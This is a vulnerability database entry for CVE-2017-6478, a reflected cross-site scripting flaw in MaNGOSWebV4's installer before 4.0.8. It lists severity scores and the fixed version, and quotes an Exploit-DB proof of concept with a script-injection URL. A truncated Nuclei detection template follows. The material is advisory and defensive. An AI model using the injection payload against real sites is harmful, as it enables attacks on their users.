CVE-2017-6478
published 2017-03-05CVE-2017-6478: paintballrefjosh/MaNGOSWebV4 before 4.0.8 is vulnerable to a reflected XSS in install/index.php (step parameter).
PriorityP336medium6.1CVSS 3.1
AVNACLPRNUIRSCCLILAN
EXPLOIT
EPSS
2.57%
83.2th percentile
paintballrefjosh/MaNGOSWebV4 before 4.0.8 is vulnerable to a reflected XSS in install/index.php (step parameter).
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| mangoswebv4_project | mangoswebv4 | < 4.0.8 | 4.0.8 |
CVSS provenance
nvdv3.16.1MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:P/A:N
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Exploit-DB
MaNGOSWebV4 4.0.6 - Reflected XSS
exploitdb·2025-12-03·CVSS 6.1
CVE-2017-6478 [MEDIUM] MaNGOSWebV4 4.0.6 - Reflected XSS
MaNGOSWebV4 4.0.6 - Reflected XSS
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# Exploit Title: MaNGOSWebV4 4.0.6 - Reflected XSS
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/paintballrefjosh/MaNGOSWebV4
# Software Link: https://github.com/paintballrefjosh/MaNGOSWebV4
# Version: 4.0.6
# Tested on: Ubuntu Windows
# CVE : CVE-2017-6478
PoC:
// Access the vulnerable URL and trigger the XSS payload
GET http://mangoswebv4/install/index.php?step=%3Cscript%3Ealert(1)%3C/script%3E
[Replace Your Domain Name]
Nuclei
MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting
nuclei·CVSS 6.1
CVE-2017-6478 [MEDIUM] MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting
MaNGOSWebV4 alert(document.domain)"
- "MaNGOS Web Enhanced V4 Installer"
condition: and
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a004730450221008bef2ab63da9b3a6088b7394f4524bc62333611bc5f5c96f615112acd98b8a8302203324a69cc83f3d50647110e5c60c4daaacd20a4aa2e709beb1204e3f5a7d115b:922c64590222798bb761d5b6d8e72950
No writeups or analysis indexed.
http://www.securityfocus.com/bid/96584https://github.com/MarkLee131/awesome-web-pocs/blob/main/CVE-2017-6478.mdhttps://github.com/paintballrefjosh/MaNGOSWebV4/issues/15https://github.com/paintballrefjosh/MaNGOSWebV4/releases/tag/4.0.8http://www.securityfocus.com/bid/96584https://github.com/paintballrefjosh/MaNGOSWebV4/issues/15https://github.com/paintballrefjosh/MaNGOSWebV4/releases/tag/4.0.8
2017-03-05
Published